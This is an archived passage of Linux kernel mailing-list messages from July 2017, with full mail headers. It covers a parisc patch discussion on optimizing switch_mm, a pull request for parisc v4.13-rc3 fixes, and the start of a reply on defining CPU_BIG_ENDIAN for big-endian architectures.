        id S1750897AbdGZSDv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 26 Jul 2017 14:03:51 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:57127 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750867AbdGZSDu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 26 Jul 2017 14:03:50 -0400
Original-Received: from p100.box ([193.159.18.126]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0Lcj9b-1e2efB1k3z-00k7jk; Wed, 26
 Jul 2017 20:02:54 +0200
Content-Disposition: inline
In-Reply-To: <16F63B59-7A36-48F0-A5C7-670CA2ED9DED@bell.net>
X-Provags-ID: V03:K0:7O5tlHQi38W8gCtduBAjGHM+zIcSBaisQ1QCLprC0h1LkIqmtvz
 BEBmfG45QvZXB46hioU/EBMnh7B42YgrTAobTHAN6PJ0yWO5ft1jEPDqR9R8xi13JJofvuZ
 4byogk7RcpFSGIWzvkw6FsETcjUwGLwC+w+CdzZEeAPj20ZI48cOvOgwZJ7MAhup/lhwo/F
 45noR0Lsm+56K84+HULCQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ueeqkqqzz14=:E8qGqFxQwFv5xFbiMRFfF+
 HvWg5wSb1zKGGssoAyBYYk5vWt6LMtInsl4wHU3NHgD9ThZ/nSlJu91YxDVCkwiY1TDEu3Luw
 ixYVVa8BrJEGNXd4Xd640eozSRV07VNUPe5pveGwy0IUYbK0b7iQtmPrnp4WnO+4eD3aC5XNZ
 16LGCixWfD0CmUTMgW1bjdjMz1kK9fL14flQnm05InXP/c/yYqaNfob4aGIg0znnVNsa/Rf50
 TGLVzF6jgTSvQOkO3gWKXEDFo1P2d9LTvR1DBQ0nOqFdgKOojZ/QieBdAcWtjDjO9sQiZ+GZV
 g5Mkdb2OMsOaQMVjavbA0L4HrzQhsoW3aN4bUL6eTJpf6qvh+9OCZmXkRM3A18Dv084qxElr2
 OeBB+sKlNh3+TJU91g/EST2Mnna+7aIC6diiHdLtZ3cpfWH2GmMH4LXSt8OgxttmQiSjntpz+
 IPWNJpgA1uSANvIHh7S2dI5yp0A62DFw2K3dYw6y+L/QCLYcGETNl3Uo2ol/c6kL5yak3+a5R
 gB54tFw/8AdjZ7mNzi2VNYDwBw0hECNMauwuA1TIbCsXTs9UkJHRLL4Fh/5UOtTZfPzBuoUsL
 HrerP6iJE4rCNuzCDq+r8ok67KRBeUM0q/oeBh/4bLroCm7qLPs0paPHaYj6FG/Q0Mg1gu2tq
 HI76Ox1/5p6BItnKh73FVGo7zWEZcHklah+UQ72hkNErKY3vnT868RHXSEnTmiw2Zb6vfDVAd
 dXfasAFKXpdMlp93zM9N2t9FlWkyPGxaDAkdweHSNRPNE206tl1nnrGoUEPV9A6SmZrrmxK5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27593
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27593>

* John David Anglin <dave.anglin@bell.net>:
> We only need to switch contexts when prev != next, and we don't need to disable interrupts
> to do the check.
> 
> Signed-off-by: John David Anglin <dave.anglin@bell.net>
> 
> 

> diff --git a/arch/parisc/include/asm/mmu_context.h b/arch/parisc/include/asm/mmu_context.h
> index a81226257878..b1dc6e3f0dd0 100644
> --- a/arch/parisc/include/asm/mmu_context.h
> +++ b/arch/parisc/include/asm/mmu_context.h
> @@ -49,26 +49,19 @@ static inline void load_context(mm_context_t context)
>  	mtctl(__space_to_prot(context), 8);
>  }
>  
> -static inline void switch_mm_irqs_off(struct mm_struct *prev,
> +static inline void switch_mm(struct mm_struct *prev,
>  		struct mm_struct *next, struct task_struct *tsk)
>  {
> +	unsigned long flags;
> +
>  	if (prev != next) {
> +		local_irq_save(flags);
>  		mtctl(__pa(next->pgd), 25);
>  		load_context(next->context);
> +		local_irq_restore(flags);
>  	}
>  }
>  
> -static inline void switch_mm(struct mm_struct *prev,
> -		struct mm_struct *next, struct task_struct *tsk)
> -{
> -	unsigned long flags;
> -
> -	local_irq_save(flags);
> -	switch_mm_irqs_off(prev, next, tsk);
> -	local_irq_restore(flags);
> -}
> -#define switch_mm_irqs_off switch_mm_irqs_off
> -
>  #define deactivate_mm(tsk,mm)	do { } while (0)
>  
>  static inline void activate_mm(struct mm_struct *prev, struct mm_struct *next)


Instead I'd then suggest the patch below.
The if-clause in switch_mm_irqs_off() will then probably be optimized
away by the compiler.

diff --git a/arch/parisc/include/asm/mmu_context.h b/arch/parisc/include/asm/mmu_context.h
index a812262..e4a6570 100644
--- a/arch/parisc/include/asm/mmu_context.h
+++ b/arch/parisc/include/asm/mmu_context.h
@@ -63,6 +63,9 @@ static inline void switch_mm(struct mm_struct *prev,
 {
 	unsigned long flags;
 
+	if (prev == next)
+		return;
+
 	local_irq_save(flags);
 	switch_mm_irqs_off(prev, next, tsk);
 	local_irq_restore(flags);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Optimize switch_mm
Date: Wed, 26 Jul 2017 14:49:45 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <0C9BC40B-9C2C-4058-BC0A-EAF1B017F537@bell.net>
References: <16F63B59-7A36-48F0-A5C7-670CA2ED9DED@bell.net> <20170726180252.GA1129@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1501094987 2255 195.159.176.226 (26 Jul 2017 18:49:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Jul 2017 18:49:47 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 26 20:49:43 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1daRNN-0006UV-AG
	for glpp-linux-parisc@m.gmane.org; Wed, 26 Jul 2017 20:49:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751109AbdGZStr convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 26 Jul 2017 14:49:47 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:50396 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751053AbdGZStq (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 26 Jul 2017 14:49:46 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20170726184945.NGXC14656.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Wed, 26 Jul 2017 14:49:45 -0400
Original-Received: from [192.168.2.25] (really [70.31.74.123]) by mtlspm01.bell.net
          with ESMTP
          id <20170726184945.TLGZ9294.mtlspm01.bell.net@[192.168.2.25]>;
          Wed, 26 Jul 2017 14:49:45 -0400
In-Reply-To: <20170726180252.GA1129@p100.box>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=Cczn3Pjl c=1 sm=0 tr=0 a=CP4CeFkTTpGPfaygvaSIJA==:17 a=kj9zAlcOel0A:10 a=G3gG6ho9WtcA:10 a=FBHGMhGWAAAA:8 a=ApykHsfSLTbfrX0kZxQA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27594
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27594>

On 2017-07-26, at 2:02 PM, Helge Deller wrote:

> Instead I'd then suggest the patch below.
> The if-clause in switch_mm_irqs_off() will then probably be optimized
> away by the compiler.
> 
> diff --git a/arch/parisc/include/asm/mmu_context.h b/arch/parisc/include/asm/mmu_context.h
> index a812262..e4a6570 100644
> --- a/arch/parisc/include/asm/mmu_context.h
> +++ b/arch/parisc/include/asm/mmu_context.h
> @@ -63,6 +63,9 @@ static inline void switch_mm(struct mm_struct *prev,
> {
> 	unsigned long flags;
> 
> +	if (prev == next)
> +		return;
> +
> 	local_irq_save(flags);
> 	switch_mm_irqs_off(prev, next, tsk);
> 	local_irq_restore(flags);

You are correct.  I missed the fact that switch_mm_irqs_off() is used by kernel/sched/core.c.

Maybe we should replace the "switch_mm_irqs_off(prev, next, tsk);" with the mtctl and load_context
lines to ensure that the if-clause is optimized?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Optimize switch_mm
Date: Wed, 26 Jul 2017 21:13:06 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <1e8a8db0-cf16-cdeb-27f8-284de4b5e9a9@gmx.de>
References: <16F63B59-7A36-48F0-A5C7-670CA2ED9DED@bell.net>
 <20170726180252.GA1129@p100.box>
 <0C9BC40B-9C2C-4058-BC0A-EAF1B017F537@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1501096404 10829 195.159.176.226 (26 Jul 2017 19:13:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Jul 2017 19:13:24 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 26 21:13:20 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1daRkF-0002Zy-UD
	for glpp-linux-parisc@m.gmane.org; Wed, 26 Jul 2017 21:13:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751576AbdGZTNY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 26 Jul 2017 15:13:24 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:56580 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751574AbdGZTNX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 26 Jul 2017 15:13:23 -0400
Original-Received: from [192.168.20.60] ([193.159.18.126]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MEoGY-1dLZeL1spG-00Fyz1; Wed, 26
 Jul 2017 21:13:07 +0200
In-Reply-To: <0C9BC40B-9C2C-4058-BC0A-EAF1B017F537@bell.net>
X-Provags-ID: V03:K0:EFRtMGbA/JJwvXWYkpmBd05QKbapHYu9ti1oJMoPGhfVERtPuJ4
 FjI+nj55fOTV665DHRISxSDQdJTk/ekDP8sn1uindqgXAUnEo10DKSlVWb/5LxuJqkMpzCG
 fqmcD/qUnIl4vhWnLMN3non5YRYqSoRysPZNCkhx7/iwydtDeLq3iDdGX+kW2qokMzqEyJX
 VddRvTJpljHNNequLL+0Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:XElx8LSgbBk=:pSpyA5NCfD3tuYThjBqyct
 7l2heyNXozfot10gucldI4tcsypOwjhEeEveyXggOx5SJo3kK4Tdqg+kJi1+fQljLxtT6eaZ+
 DnNv7sTm6dJwWN5iCxBATj/HTpky5KvfDmM77PguewmIujZbNjDpUpASz7sUQNmYsnLuITthO
 7i1noQtwlfT83QTHX1N3EZ6irYmGJmAOlT4dWllGVEQGqulSUCXJVmHxmBQhp3w56PCuRBofy
 X8QxPyM4vszNDGkodUcsmnCdxgdLUMxUDGMcq6h73v7Y9FTsFcCve+0xYURhC9/1kGzqla9UU
 6wAWtV8T/oquNL94Xrb2t4ZZObZdQyyUUD2AUkBwSqm058vnFqipNmdoVzQOWGWfgUcFga8E3
 c1DjezUUQdsQXfxWcQ/Z8P5DGjsHrUWELJGrtlWuXuNIEfcL+SLcoVfL460JYYDk4rhlhadTG
 Rr2x0PgjGfzaf46E8a5zLgWPkXP9lxFleesEiiK63NLu0jECEOfYhs06PmmvPvtYC0urZXU31
 l/Z2iciRmG4X0kSEGkuEdtqqF0miOPB2UWfsCxrt/hxjpqEk4fiXxcJdIqX2W41HLcRqt6kwk
 rgu0mq3OpUfoM8ItCohKXNTV3SP8TBEB0UWE4ivhj60OpTHyZolLXIY9koEwMfx7ZpsEtDyUl
 qAjOJXcUcF6g/cQnpuOA3VN3bmRU44GOPATooCZb3L0c7AuLaz6959DQJExEYZMdzqFHpnzT1
 2qMuLuMAtfVngtAqB8uKN8DH9ypIMzQgQTW0A987muI5+RvWerW+gfkqp7zC4O4D0UbYPkhL 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27595
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27595>

On 26.07.2017 20:49, John David Anglin wrote:
> On 2017-07-26, at 2:02 PM, Helge Deller wrote:
> 
>> Instead I'd then suggest the patch below.
>> The if-clause in switch_mm_irqs_off() will then probably be optimized
>> away by the compiler.
>>
>> diff --git a/arch/parisc/include/asm/mmu_context.h b/arch/parisc/include/asm/mmu_context.h
>> index a812262..e4a6570 100644
>> --- a/arch/parisc/include/asm/mmu_context.h
>> +++ b/arch/parisc/include/asm/mmu_context.h
>> @@ -63,6 +63,9 @@ static inline void switch_mm(struct mm_struct *prev,
>> {
>> 	unsigned long flags;
>>
>> +	if (prev == next)
>> +		return;
>> +
>> 	local_irq_save(flags);
>> 	switch_mm_irqs_off(prev, next, tsk);
>> 	local_irq_restore(flags);
> 
> You are correct.  I missed the fact that switch_mm_irqs_off() is used by kernel/sched/core.c.
> 
> Maybe we should replace the "switch_mm_irqs_off(prev, next, tsk);" with the mtctl and load_context
> lines to ensure that the if-clause is optimized?

I think we should look at the generated assembly, and if it's not optimized away replace it with mtctl/load_context.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture fixes for v4.13-rc3
Date: Thu, 27 Jul 2017 21:21:21 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <20170727192121.GA14162@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501183298 25593 195.159.176.226 (27 Jul 2017 19:21:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Jul 2017 19:21:38 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 27 21:21:33 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1daoLe-00066Q-V2
	for glpp-linux-parisc@m.gmane.org; Thu, 27 Jul 2017 21:21:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751653AbdG0TVc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 27 Jul 2017 15:21:32 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:49617 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751648AbdG0TVb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 27 Jul 2017 15:21:31 -0400
Original-Received: from p100.box ([193.159.18.149]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MHnzh-1dZyKv0iM9-003Znp; Thu, 27
 Jul 2017 21:21:24 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:shpZoep1ToVihTkPrIPSNJM/Sm6C/Rqm1dj3gs0Al7EE1zeFXO+
 sBVRkya6i5r2l7y0eJLmJFqEAt19HsgUnYhsoj3Odeosa9C7gsu6ZQM9ya3JPEm0g2jaoHj
 4IDsFAu2Vj2zuuA7EELWc8iWj64mTQJjcSlUjLIPvO/GFgKOxH8K41MgEpvByW8jrDXMn8v
 ARNtpa/sufc71kMJqRm9A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:pP/H9BQiAO0=:AhlUiMPnByKapheE0sW/+e
 izgXzkItkjsU3861EVgK/g0PGS3ieYfyu9UtBE4iu16cAHDRV28tscNTENb6f/FxDZoKTNLDA
 tb3CPA0Tr+3eMdlf5+Wvef0rT0yyVwaVRMdAqJUnq6zMywlXDETlEHlTXB7VY8Wp5uWty93fF
 WZSx91hWjXywKbVlIAPvfaXNt+y+ShWD7BiHmh3PHezuHUcDz12LFhiglKhIJO+Tq5ue2jVFk
 s8k0k5V5YuSty5sVZtx0xEf7eI4dyGpX4fcby83EglslI/GvNd+ZE6KOccQP1jEigWhzr/bw5
 L6DX+75Buo4IBokCqQTT1LaK9HHsNfr5FWsYKI3Jlm/+0msHreQLx/rXTFYoQ/aK+Y5b2L67B
 aXDW9+ALHVhqtWFkN5Atj1a7AqJge12a3OOs9ZU9fg+lplghJaRimpa9QrGukjT0Ry+5F6YY4
 PpAinHiCA8/0k7wV2uLQhDXWOODCWyPX7ez5M85ucDdMOyZXYHim2s77UgsOHogTGBy2UOKyd
 rpMR9GUEJgsHu90qIgh3kPDplma48ZH4q4w8VKena9HKjXIeeemzQPeVBDawlgV/Dr97/rU6e
 Jw8splc9Gr6gn/zbCo4yDYJKhmx3Fjr4SNaLN/HE3oNllWbxNFhPbqYny09Q4QRUG5GH6T7bx
 b2WPngETOhUzQwz1Md+yCage2OZ1sfHCNQTErSE9Ars7QUpD0gp7ew1vE+oQKBSN37A/4SlzR
 8c2KbRM6apu2/QGH58hZ4+jV8Dm6zLK27dcvrk6L4tFH6ZyDTQmvg+eP/kf3klzd5vNLc9eh 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27596 gmane.linux.kernel:2534714
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27596>

Hi Linus,

please pull important fixes and updates for the parisc architecture for 4.13-rc3 from

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.13-3

Changes:

The majority of lines changed are due to regenerated defconfig files.

The support for the Page Deallocation Table (PDT) which was merged in the merge
window for 4.13 contained a bug which crashes the kernel if a bad page is
reported by firmware. This is now fixed and the kernel messages will show which
memory slot holds the broken DIMM.

Commit 3a166fc2d4ef ("kbuild: handle libs-y archives separately from built-in.o
archives") broke linking the parisc kernel due to millicode symbols which can't
be reached then any longer.  This was fixed by modifying the parisc vmlinux.lds
linker script.

If the stack checker panics on stack overflow, avoid recursive panics.

Some parisc machines can't physically power off and thus instead start after
some time to flood the console by presumably detected soft lockups. Avoid this
by disabling the lockup detectors before entering the endless for-next loop.

Dave Anglin provided fixes which prevents TLB speculation on flushed pages
on PA8800/PA9000 CPUs.

Arvind Yadav sent a trivial patch to constify the attribute_group structure in
our firmware on-board-flash storage driver (pdc_stable.c).

Thanks,
Helge

----------------------------------------------------------------
Arvind Yadav (1):
      parisc: pdc_stable: constify attribute_group structures.

Helge Deller (7):
      parisc: Disable further stack checks when panic occurs during stack check
      parisc: Merge millicode routines via linker script
      parisc: regenerate defconfig files
      parisc: Fix crash when calling PDC_PAT_MEM PDT firmware function
      parisc: Add function to return DIMM slot of physical address
      parisc: Show DIMM slot number which holds broken memory module
      parisc: Suspend lockup detectors before system halt

John David Anglin (2):
      parisc: Prevent TLB speculation on flushed pages on CPUs that only support equivalent aliases
      parisc: Extend disabled preemption in copy_user_page

 arch/parisc/configs/712_defconfig           | 41 ++++++-----------------
 arch/parisc/configs/a500_defconfig          | 50 +++++++----------------------
 arch/parisc/configs/b180_defconfig          | 17 ++--------
 arch/parisc/configs/c3000_defconfig         | 38 ++++------------------
 arch/parisc/configs/c8000_defconfig         | 17 ++--------
 arch/parisc/configs/default_defconfig       | 49 +++++++---------------------
 arch/parisc/configs/generic-32bit_defconfig | 21 +-----------
 arch/parisc/configs/generic-64bit_defconfig | 48 +++++++++------------------
 arch/parisc/include/asm/pdcpat.h            | 16 ++++++++-
 arch/parisc/kernel/cache.c                  | 36 +++++++++------------
 arch/parisc/kernel/firmware.c               | 36 +++++++++++++++++++--
 arch/parisc/kernel/irq.c                    |  8 ++++-
 arch/parisc/kernel/pdt.c                    | 23 +++++++++----
 arch/parisc/kernel/process.c                |  2 ++
 arch/parisc/kernel/vmlinux.lds.S            |  2 ++
 drivers/parisc/pdc_stable.c                 |  2 +-
 16 files changed, 152 insertions(+), 254 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH v3 1/3] arch: Define CPU_BIG_ENDIAN for all fixed big
 endian archs
Date: Thu, 27 Jul 2017 23:10:05 +0200
Lines: 134
Approved: news@gmane.org
Message-ID: <8d0ac21c-5642-14f6-3820-815a1cc3c418@gmx.de>
References: <1497305400-147425-1-git-send-email-babu.moger@oracle.com>
 <1497305400-147425-2-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1501189897 9616 195.159.176.226 (27 Jul 2017 21:11:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Jul 2017 21:11:37 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
Cc: mpe@ellerman.id.au, peterz@infradead.org, mingo@redhat.com,
        jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: Babu Moger <babu.moger@oracle.com>, ysato@users.sourceforge.jp,
        geert@linux-m68k.org, jonas@southpole.se,
        stefan.kristiansson@saunalahti.fi, shorne@gmail.com,
        jejb@parisc-linux.org, viro@zeniv.linux.org.uk, monstr@monstr.eu
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Jul 27 23:11:29 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1daq45-0000QE-SY
	for glpm-linux-m68k@m.gmane.org; Thu, 27 Jul 2017 23:11:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751738AbdG0VLb (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Thu, 27 Jul 2017 17:11:31 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:53382 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751775AbdG0VL3 (ORCPT <rfc822;linux-m68k@vger.kernel.org>);
        Thu, 27 Jul 2017 17:11:29 -0400
Original-Received: from [192.168.20.60] ([193.159.18.149]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MFR2O-1dOkgJ47wi-00EPBP; Thu, 27
 Jul 2017 23:10:12 +0200
In-Reply-To: <1497305400-147425-2-git-send-email-babu.moger@oracle.com>
X-Provags-ID: V03:K0:e6M+uTH/NKgakhh4r7vrbanSXIEt76nkVr/MgbSBywSrQMyrAJY
 m1sZvo6nPfzkdhmi9qecIAwmNCmxPnV5/l+fW6djwdAOt1HwdQl/gv81RoTU0t4h97zq1gj
 s9eAJui2rQ1woOTJnfVEnEWX4cbB2de1ckVOGidcSCuT/x4JnE+18hQ29ntbWmZMFeLBY/a
 bSZokUKSgBZJfbIGzjSUA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Fgd1GOzBo9g=:sfT4qtTlr91VwsQpmlU2M9
 2BxY5CCT7g2q+OjmJuYu8FeWP/Ms9TtmdlogvfFf24FflmNGqXUTvFReT1/ieLiSh4q5oVxUQ
 QQmbpszFCamBej/h+oxP1mZJhXl3msngBp9Z49XQav7TW6PFTSyZJ7vt8uyi1VtIhDLPPJ2hD
 QuRBtA1vUubDHN8mjgLuwks2OL9JjYNtkXG0djeMOHY5U668yQcVjOiCgVAHwfMjLykr/6+0K
 cpVd3ehv5W7L9vH6ClYV5EB2W7Z4ZiaP/ZreyjFT53bqThxhC9jCJyS3JYiyZ0hKAlaRPKZgZ
 eoiEIFPdTOlJE1pZlVYNFXdpQ8u8Cjmlziy8dJLWGrRyQfUwfQ0NKY/a7mGDA10FSTqugVH+i
 lLykAQzz+2ODGUeqsLe9Jwq+XimyCiWYCedREIfD6b8ErnpD16TDe2HWmIyolzrgMip+fqSz9
 qhZL62VF7eD487J+fOBi81WkpwF0gseQvMEUPKxBwcLyjMnuSBAuX99eoaO4Z/Q7Uh6Hy0hkX
 YyYTcb2PqeTNPBw/KxsjKcABbpMJbLYzT/xyKSoRaKCRugF12ucMbwXMHzvJf+ARDG90w+Vty
 /s0mLkdZyCv7zvkhddT7GnZ9KIw4ggHRdhRlFlSRO6QbwXjvGPUnTFRvyBoG2FqNXToHdiPpj
 Ue1F8tNT5FU60NDLjU0nk3JstRzE4nBfpNimuYceGlaOzY2oo1arCsF2CsUb8bkA8B1Ej29I5
 5BUTuDgqP8sHdXj+jjC8yTfClpYDD5WKt5ZL1goUIrBWYDIYzWAUnVgWSNUrTi26n0rIwwkw 
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9459 gmane.linux.kernel:2534783 gmane.linux.ports.parisc:27597 gmane.linux.ports.sparc:26032
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9459>

On 13.06.2017 00:09, Babu Moger wrote:
> While working on enabling queued rwlock on SPARC, found
> this following code in include/asm-generic/qrwlock.h
> which uses CONFIG_CPU_BIG_ENDIAN to clear a byte.
> 
> static inline u8 *__qrwlock_write_byte(struct qrwlock *lock)
>  {
> 	return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);
>  }
> 
> Problem is many of the fixed big endian architectures don't define
> CPU_BIG_ENDIAN and clears the wrong byte.
> 
> Define CPU_BIG_ENDIAN for all the fixed big endian architecture to fix it.
> 
> Also found few more references of this config parameter in
